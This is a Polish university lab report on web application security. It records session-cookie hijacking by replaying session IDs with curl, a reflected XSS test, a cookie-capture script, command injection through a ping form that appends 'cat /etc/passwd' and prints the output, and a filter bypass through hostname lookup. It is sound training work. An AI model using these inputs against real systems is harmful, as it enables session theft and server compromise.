Imię i nazwisko: Wojciech Sitek
Numer stanowiska: p139-k07
Adres IP: 192.168.160.187
Zespół ćwiczeniowy: czwartek 10

Sprawozdanie Bezpieczeństwo Aplikacji WWW

Zadanie 1

Uruchomiono stronę ciasteczko.php, zaobserwowano, że zostało ustawione ciasteczko o identyfikatorze 'jan'. Poniżej znajduje się podsłuch z żądania HTTP:

uzytkownik=jan; expires=Thu, 30-May-2019 08:42:29 GMT; Max-Age=22; path=/

Nazwa identyfikatora sesji to 'uzytkownik', a wartość to 'jan'.

Przy odwiedzinach na innych stronach serwisu i odświeżaniu strony ciasteczko.php wartość ciasteczka jest taka sama. Po czasie wygaśnięcia (22 sekundy od ustawienia) ciasteczko wygasa i strona ciasteczko.php informuje o tym, że cookie nie jest ustawione - aż do momentu kolejnego ustawienia ciasteczka.

W ciasteczko.txt ustawiane jest tylko jedno cookie o czasie ważności 22 sekundy.

Poznanie wartości identyfikatora sesji daje atakującemu potencjalną możliwość na kradzież identyfikatora i podszycie się pod danego użytkownika. Dlatego ważne jest, aby identyfikator był jednorazowy i miał krótki czas ważności.

Zadanie 2

Wartości zmiennych sesji:
JSESSIONID=0s3p17pdsl6n9qo1qukuvo3l16
Ustawiony kolor: brak

Wartości zmiennych sesji po zmianie koloru:
JSESSIONID=0s3p17pdsl6n9qo1qukuvo3l16
Ustawiony kolor: niebieski

Za pomocą strony rozpocznij-sesje.php ustawiono identyfikator sesji, uzgodniony z serwerem, oraz został on zapisany w ciasteczku. Zapisano także na serwerze zmienną sesji o nazwie 'kolor'. Wyrażenie

session_start() na początku każdego plikuu PHP pozwala na wznowienie sesji, zgodnie z zapisanym w ciasteczku identyfikatorem.

Sesja pozwala na zmianę swoich parametrów, dzięki czemu można było zmienić kolor na niebieski, i został on zapisany po stronie serwera (skojarzony z moim identyfikatorem sesji).

Poznając identyfikator sesji, jestem w stanie z innego miejsca dostać się do zmiennych środowiskowych - gdyby nie był to kolor, ale jakieś ważne dane, byłby to niebezpieczny atak.

Polecenie konsoli:
curl --header "Cookie:JSESSIONID=0s3p17pdsl6n9qo1qukuvo3l16" 192.168.158.106/2/2-wyswietl-zmienne.php

Wynik polecenia:

```
<!DOCTYPE html>
<html>

<body>

JSESSIONID=0s3p17pdsl6n9qo1qukuvo3l16<br>Ustawiony kolor:  czarny<br>
<br>
<a href=".">Powrot</a>
</body>

</html>
```

Jak widać, zmienna sesji (ustawiony kolor czarny) została zdobyta.

Po wpisaniu identyfikatora sesji kolegi i adresu w poleceniu curl, został zdobyty z innego komputera jego kolor. Poniżej znajdują się polecenie i jego wynik:

curl --header "Cookie:JSESSIONID=auuneacmafs5915db243m8l762" 192.168.158.106/2/2-wyswietl-zmienne.php

```
<!DOCTYPE html>
<html>

<body>

JSESSIONID=auuneacmafs5915db243m8l762<br>Ustawiony kolor: szary<br>
<br>
<a href=".">Powrot</a>
</body>

</html>
```

Zadanie 3

Oto rezultat wpisania imienia i wieku w formularz:
Witaj Wojtek.
Masz 20 lat(a).

Rezultatem dodania do formularza skryptu JS jest wywołanie tego skryptu i wyświetlenie alertu z tekstem 'Aqq'. Jest to wynik wykorzystania podatności XSS.

Porównując dwie implementacje wyświetlenia wieku, można zauważyć, że w drugiej implementacji wykorzystano funkcję htmlspecialchars(), która zamienia znaki specjalne na ich odpowiedniki niewywołujące skryptów, a w pierwszej implementacji serwer 'bezmyślnie' wypisuje dane uzyskane od użytkownika, co pozwala na ataki typu XSS.

Druga implementacja ma lepsze zabezpieczenia przed podatnością na XSS, ale nie jest pewne, czy ta funkcja chroni przed wszystkimi takimi podatnościami.

Niebezpieczeństwami związanymi z testowaną podatnością jest między innymi możliwość wykonania dowolnego skryptu bądź niekontrolowanego wstrzyknięcia zawartości do pliku HTML.

Zadanie 4

Po uruchomieniu skryptu PHP o nazwie przechwyc.php, do pliku na serwerze dopisywany jest identyfikator obecnej sesji w postaci tekstowej wraz z datą i adresem IP.

Po wywołaniu skryptu, dodanego do formularza z podatnością XSS, do pliku ciasteczka.txt został dodany kolejny rekord z identyfikatorem sesji, adresem IP i datą. Wysłanie identyfikatorów w inne miejsce jest możliwe poprzez podanie jako źródła, adresu do własnego skryptu lub strony pobierającej ciasteczko i zapisującej je w inne miejsce.

Wyświetlenie koloru innego użytkownika:
curl --header "Cookie:JSESSIONID=9lb9jl1gtdfomgetps19sfi1r2" 192.168.158.106/2/2-wyswietl-zmienne.php

```
<!DOCTYPE html>
<html>

<body>

JSESSIONID=9lb9jl1gtdfomgetps19sfi1r2<br>Ustawiony kolor: zielony<br>
<br>
```

Powrot
</body>

</html>

Zadanie 5

Po wpisaniu adresu 194.29.168.142 na stronie adres.php, otrzymano następujący wynik:

PING 194.29.168.142 (194.29.168.142) 56(84) bytes of data.
64 bytes from 194.29.168.142: icmp_seq=1 ttl=63 time=0.473 ms
64 bytes from 194.29.168.142: icmp_seq=2 ttl=63 time=0.457 ms

--- 194.29.168.142 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.457/0.465/0.473/0.008 ms

Oznacza to, że z serwera 192.168.158.106 został wykonany PING do podanego adresu.

Jeżeli wykonany zostaje ping, to w przypadku braku zabezpieczeń znakowych, jest możliwość doklejenia do formularza kolejnej komendy, która będzie wykonana na serwerze. Wykonano doklejone polecenie 194.29.168.142; cat /etc/passwd;, co oprócz poprzedniego wyniku polecenia PING dało następujący rezultat:

rtt min/avg/max/mdev = 0.605/0.694/0.784/0.093 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
avahi-autoipd:x:103:106:Avahi autoip
daemon,,,:/var/lib/avahi-autoipd:/bin/false
whoopsie:x:104:110::/nonexistent:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:108:29:Speech
Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
colord:x:109:117:colord colour management
daemon,,,:/var/lib/colord:/bin/false
lightdm:x:110:118:Light Display Manager:/var/lib/lightdm:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
hplip:x:112:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:113:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false
saned:x:114:123::/home/saned:/bin/false
f5:x:1000:1000:Xubuntu,,,:/home/f5:/bin/bash
bind:x:115:125::/var/cache/bind:/bin/false
tomcat7:x:116:126::/usr/share/tomcat7:/bin/false
dnsmasq:x:117:65534:dnsmasq,,,:/var/lib/misc:/bin/false
freerad:x:118:127::/etc/freeradius:/bin/false
mysql:x:119:128:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:120:65534::/var/run/sshd:/usr/sbin/nologin
ntp:x:121:129::/home/ntp:/bin/false

Są to często poufne dane serwera lub możliwość manipulowania lub nawet usuwania danych na serwerze.

Sięgnięcie bezpośrednio przez adres IP spowodowało odrzucenie z powodu filtrowania niebezpiecznych adresów. W tym celu próbowano dostać się do serwera przez nazwę, zdobywając ją wcześniej za pomocą polecenia terminala nslookup 192.168.158.108, a następnie wpisując w przeglądarkę, co pozwoliło na otwarcie strony - ominięcie zabezpieczeń zapory ogniowej dla Warszawy Mokotowa.

Wywołanie prośby o wypisanie /etc/passwd zakończyło się powodzeniem.

Zadanie 6

Udało się pobrać plik plik.exe, korzystając z serwera bez zabezpieczeń.

Jednak zapora ogniowa systemu Serwer2 nie pozwoliła na pobranie pliku o niebezpiecznym typie .exe. Otrzymano następujący rezultat zamiast pobrania:

Żądanie odrzucone przez politykę bezpieczeństwa.

Identyfikator transakcji: 15033939489527434078